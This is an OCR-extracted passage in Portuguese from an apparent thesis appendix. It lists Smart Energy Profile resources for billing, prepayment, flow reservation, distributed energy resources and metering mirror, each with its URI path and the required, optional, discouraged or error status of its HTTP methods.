e ActiveBillingPeriodList - lista de instancias ativas de BillingPeriod. O elemento

de URI e os métodos HT'TP referentes ao recurso sdo:

- Elemento URI: /bill/{id1}/ca/{id2}/actbp
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Erro; DELETE:

Erro;

e BillingPeriodList — lista de instancias BillingPeriod. O elemento de URI e os
métodos HTTP referentes ao recurso sao:
- Elemento URI: /bill/{id1}/ca/{id2} /bp
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Desencorajado;
DELETE: Erro;

e BillingPeriod - instancia que contém um periodo de tempo para a cobranca. O

elemento de URI e os métodos HTTP referentes ao recurso sdo:

- Elemento URIL: /bill/{id1}/ca/{id2}/bp/{id3}
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Desencorajado; POST: Erro;
DELETE: Desencorajado;

e ProjectionReadingList — lista de instancias ProjectionReading. O elemento de
URI e os métodos HTTP referentes ao recurso sao:
- Elemento URI: /bill/{id1}/ca/{id2}/pro
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Desencorajado;
DELETE: Erro;

e ProjectionReading — instancia que contém valores previstos em uma leitura futura
para um intervalo de tempo especificado. O elemento de URI e os métodos HT'TP

referentes ao recurso sao:

- Elemento URI: /bill/{id1}/ca/{id2} /pro/{id3}

- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Desencorajado; POST: Erro;
DELETE: Desencorajado;
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¢ BillingReadingSetList — lista de instancias BillingReadingSet. O elemento de
URI e os métodos HTTP referentes ao recurso sao:
- Elemento URI: /brs
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Desencorajado;
DELETE: Erro;

¢ BillingReadingSet — instancia que contém o intervalo de tempo em que ocorreu
determinada leitura. O elemento de URI e os métodos HTTP referentes ao recurso
sa0:
- Elemento URI: /brs/{id1}
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Erro; DELETE:

Desencorajado;

¢ BillingReadingList — lista de instancias BillingReading. O elemento de URI e os
métodos HTTP referentes ao recurso sao:
- Elemento URI: /brs/{id1}/br
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Desencorajado;
DELETE: Erro;

¢ BillingReading — instancia que contém dados capturados em intervalos regulares
de tempos. O elemento de URI e os métodos HT'TP referentes ao recurso sao:
- Elemento URI: /brs/{id1}/br/{id2}
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Desencorajado; POST: Erro;
DELETE: Desencorajado;

e TargetReadingList — lista de instancias TargetReading. O elemento de URI e os

métodos HTTP referentes ao recurso sao:

- Elemento URI: /bill/{id1}/ca/{id2} /tar

- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Desencorajado;
DELETE: Erro;

e TargetReading — instancia que contém uma meta ou objetivo de consumo a qual
podem ser associadas a incentivos contratuais. O elemento de URI e os métodos

HTTP referentes ao recurso sdo:
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- Elemento URIL: /bill/{id1}/ca/{id2} /tar/{id3}
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Erro; DELETE:

Desencorajado;

e HistoricalReadingList — lista de instancias HistoricalReading. O elemento de URI
e os métodos HTTP referentes ao recurso sao:
- Elemento URI: /bill/{id1}/ca/{id2} /ver

- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Desencorajado;
DELETE: Erro;

e HistoricalReading — instancia usada para apresentar leituras que ja foram pro-
cessadas. O elemento de URI e os métodos HTTP referentes ao recurso sao:
- Elemento URI: /bill/{id1}/ca/{id2} /ver/{id3}
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Erro; DELETE:

Desencorajado;

e ServiceSupplier — instancia que contém a empresa que presta servico ou fornece
a commodity. O elemento de URI e os métodos HTTP referentes ao recurso sao:
- Elemento URI: /bill/{id1}/ss
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Erro; DELETE:

Desencorajado;

A.3.6 Conjunto de funcoes Prepayment

Fornece o mecanismo para a entrega condicionada do servigo ou commodity baseado em

crédito ou divida pendente do usuario. E composto pelos seguintes recursos:

e PrepaymentList — lista de instancias Prepayment. O elemento de URI e os méto-

dos HTTP referentes ao recurso sao:

- Elemento URI: /ppy

- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Desencorajado;
DELETE: Erro;

e Prepayment — instancia que prové informagoes de pré-pagamento localizadas nos
links AccountBalance, CreditRegister e OperationStatus. O elemento de URI e os

métodos HTTP referentes ao recurso sao:
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- Elemento URIL: /ppy/{id1}
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Erro; DELETE:

Desencorajado;

e AccountBalance —instancia que contém informagoes de saldo para o pré-pagamento
do servigo/commodity. O elemento de URI e os métodos HTTP referentes ao recurso
sao:

- Elemento URI: /ppy/{id1}/ab
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Desencorajado; POST: Erro;

DELETE: Erro;

e PrepayOperationStatus — instancia que contém informacao do status do servi-
¢o/commodity que esté sendo fornecido por meio condicional. O elemento de URI

e 0os métodos HT'TP referentes ao recurso sao:
- Elemento URI: /ppy/{id1}/os
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Desencorajado; POST: Erro;

DELETE: Erro;

e ActiveSupplyInterruptionOverrideList — lista de instancias SupplyInterrupti-
onQverride ativas. O elemento de URI e os métodos HTTP referentes ao recurso
sa0:

- Elemento URI: /ppy/{id1}/actsi
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Erro; DELETE:

Erro;

e SupplylInterruptionOverrideList — lista de instancias SupplylnterruptionQOuver-

ride. O elemento de URI e os métodos HT'TP referentes ao recurso sao:

- Elemento URIL: /ppy/{id1}/si

- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Desencorajado;
DELETE: Erro;

e SupplylInterruptionOverride — instancia que informa o periodo de tempo durante
o qual o fornecimento do servigo/commodity nao deve ser interrompido, mesmo que
haja problemas de crédito. O elemento de URI e os métodos HT'TP referentes ao

recurso sao:
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- Elemento URIL: /ppy/{id1}/si/{id2}

- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Desencorajado; POST: Erro;
DELETE: Desencorajado;

e CreditRegisterList — lista de instancias CreditRegister. O elemento de URI e os

métodos HTTP referentes ao recurso sao:

- Elemento URIL: /ppy/{idl}/cr

- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Opcional; DE-
LETE: Erro;

e CreditRegister — instancia que contém uma transagao para modificacao de cré-
dito, seja ela para adi¢ao ou decremento. O elemento de URI e os métodos HTTP

referentes ao recurso sao:

- Elemento URIL: /ppy/{id1}/cr/{id2}
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Erro; DELETE:

Opcional;

A.3.7 Conjunto de fungoes Flow Reservation

Fornece uma interface para a reserva de eventos de troca de fluxo de energia (e.g., carga
ou descarga). Carros elétricos, DER e outros acumuladores de carga sdo exemplos de
dispositivos que utilizam tal conjunto de fungoes, pois exigem um tempo consideravel para
completar toda a troca de fluxo energético, seja para carga ou descarga, o que poderia
causar uma alta demanda ou sobrecarga na rede. O conjunto de fungoes é composto pelos

seguintes recursos:

¢ FlowReservationRequestList — lista de instancias FlowReservationRequest. O

elemento de URI e os métodos HTTP referentes ao recurso sao:
- Elemento URIL: /edev/{id1}/frq
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Obrigatorio; DE-

LETE: Erro;

¢ FlowReservationRequest — instancia que informa a necessidade de reserva de um
periodo de tempo para realizar uma operacao de troca de fluxo. O elemento de URI

e os métodos HTTP referentes ao recurso sao:
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- Elemento URIL: /edev/{id1}/frq/{id2}
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Obrigatorio; POST: Erro; DE-
LETE: Opcional;

e FlowReservationResponseList — lista de instancias FlowReservationResponse.
O elemento de URI e os métodos HTTP referentes ao recurso sao:
- Elemento URIL: /edev/{id1}/frp
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Desencorajado;
DELETE: Erro;

¢ FlowReservationResponse — instancia de resposta a uma solicitagao de reserva
de fluxo. O elemento de URI e os métodos HT'TP referentes ao recurso sao:
- Elemento URIL: /edev/{id1}/frp/{id2}
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Erro; DELETE:

Desencorajado;

A.3.8 Conjunto de fungoes Distributed Energy Resources

Fornece uma interface para gerenciar DERs. Dispositivos que geram e armazenam energia
sao exemplos de dispositivos que utilizam tais conjuntos de funcoes. O conjunto de fungoes

¢ composto pelos seguintes recursos:

e DERList — lista de instancias DFER. O elemento de URI e os métodos HT'TP
referentes ao recurso sao:
- Elemento URIL: /edev/{id1}/der
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Opcional; DE-
LETE: Erro;

e DER - instancia que contém informacao sobre a DER. O elemento de URI e os
métodos HTTP referentes ao recurso sao:
- Elemento URIL: /edev/{id1}/der/{id2}

- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Opcional; POST: Erro; DE-
LETE: Opcional;
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e AssociatedUsagePoint — informa o link do UsagePoint associado com determi-
nada DER. O elemento de URI e os métodos HTTP referentes ao recurso sao:
- Elemento URIL: /edev/{id1}/der/{id2}/upt
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Erro; DELETE:

Opcional;

e AssociatedDERProgramList — lista de instancias DER Program associadas a de-
terminada DER. O elemento de URI e os métodos HTTP referentes ao recurso sao:
- Elemento URIL: /edev/{id1}/der/{id2} /derp
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Opcional; DE-
LETE: Erro;

e CurrentDERProgram — informa o link da instancia DER Program que esta sendo
executada pela DER. O elemento de URI e os métodos HT'TP referentes ao recurso
sao:

- Elemento URI: /edev/{id1}/der/{id2}/cdp
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Erro; DELETE:

Opcional;

e DERSettings — instancia que contém as configuragoes da DER. O elemento de
URI e os métodos HTTP referentes ao recurso sao:
- Elemento URI: /edev/{id1}/der/{id2}/derg
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Obrigatorio; POST: Erro; DE-
LETE: Erro;

e DERStatus — instancia que contém informacao do status da DER. O elemento de

URI e os métodos HTTP referentes ao recurso sao:
- Elemento URI: /edev/{id1}/der/{id2}/ders
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Obrigatorio; POST: Erro; DE-

LETE: Erro;

e DERAvailability — instancia que contém informacoes sobre a disponibilidade de
producao da DER. O elemento de URI e os métodos HTTP referentes ao recurso

Sao:
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- Elemento URI: /edev/{id1}/der/{id2} /dera
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Obrigatorio; POST: Erro; DE-
LETE: Erro;

e DERCapability — instancia que contém informagoes sobre a capacidade de pro-

ducao da DER. O elemento de URI e os métodos HT'TP referentes ao recurso sao:

- Elemento URIL: /edev/{id1}/der/{id2} /dercap
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Obrigatorio; POST: Erro; DE-
LETE: Erro;

¢ DERProgramList — lista de instancias DERProgram. O elemento de URI e os
métodos HTTP referentes ao recurso sao:
- Elemento URI: /derp
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Opcional; DE-
LETE: Erro;

e DERProgram — instancia que contém informacoes sobre o programa de distri-
buicao ao qual a DER estd associado. O elemento de URI e os métodos HT'TP
referentes ao recurso sao:

- Elemento URI: /derp/{id1}
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Erro; DELETE:

Opcional;

o ActiveDERControlList — lista de instancias ativas DERControl. O elemento de
URI e os métodos HTTP referentes ao recurso sao:
- Elemento URI: /derp/{id1}/actderc
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Erro; DELETE:

Erro;

e DERControlList — lista de instancias DERControl. O elemento de URI e os
métodos HTTP referentes ao recurso sao:
- Elemento URI: /derp/{id1}/derc

- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Opcional; DE-
LETE: Erro;



A.3 Smart Energy Resources 127

e DERControl - instancia de controle de DERs baseado em eventos/tempo. O

elemento de URI e os métodos HTTP referentes ao recurso sao:

- Elemento URI: /derp/{id1}/derc/{id2}

- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Erro; DELETE:
Opcional;

e DefaultDERControl — instancia a ser considerada como DERControl padrao caso
nenhum outro seja encontrado. O elemento de URI e os métodos HT'TP referentes

a0 Trecurso sao:

- Elemento URI: /derp/{id1}/dderc

- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Opcional; POST: Erro; DE-
LETE: Erro;

e DERCurvelist — lista de instancias DERCurve. O elemento de URI e os métodos

HTTP referentes ao recurso sao:

- Elemento URI: /derp/{id1}/dc

- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Opcional; DE-
LETE: Erro;

¢ DERCurve — instancia que especifica um conjunto de um ou mais pontos que sao
definidos por um variavel independente (x) e uma variavel dependente (y). Cada
instancia contém um parametro curve Type cujo valor define o significado dos pontos
conforme descrito no documento sep.xsd. Por exemplo, caso o curveType seja 3,
isso significa que o conjunto de pontos representa uma relagao Volt-Watt onde o
tesdao (Volt) representa o eixo independente (x) e a poténcia (Watt) representa o
eixo dependente (y). O elemento de URI e os métodos HTTP referentes ao recurso

sa0:

- Elemento URI: /derp/{id1}/dc/{id2}
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Erro; DELETE:

Opcional;

A.3.9 Conjunto de fungoes Metering Mirror

Fornece um mecanismo para dispositivos que tenham restrigoes (e.g., limitagoes de bate-

ria) postem seus dados de medi¢ao de maneira eficiente em um dispositivo ao qual eles
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estao associados. Por exemplo, determinado medidor de géas pode ter limitacoes de bateria
e por isso nao fica ativo enviando e recebendo informagoes o tempo todo. Desse modo,
ele “dorme” e “desperta” em intervalos regulares para comunicar-se com o dispositivo ao

qual tem um relacionamento mirror para troca de informagoes.

e MirrorUsagePointList — lista de instancia MirrorUsagePoint. O elemento de URI
e os métodos HTTP referentes ao recurso sao:
- Elemento URI: /mup
- Métodos HTTP: GET/HEAD: Obrigatorio; PUT: Erro; POST: Obrigatério; DE-
LETE: Erro;

e MirrorUsagePoint — instancia que oferece, na forma de espelhamento, suporte
idéntico ao UsagePoint para outros dispositivos que possuem alguma restricao para

comunicagao. O elemento de URI e os métodos HTTP referentes ao recurso sao:

- Elemento URIL: /mup/{id1}

- Métodos HTTP: GET/HEAD: Opcional; PUT: Obrigatorio; POST: Obrigatorio;
DELETE: Obrigatoério;
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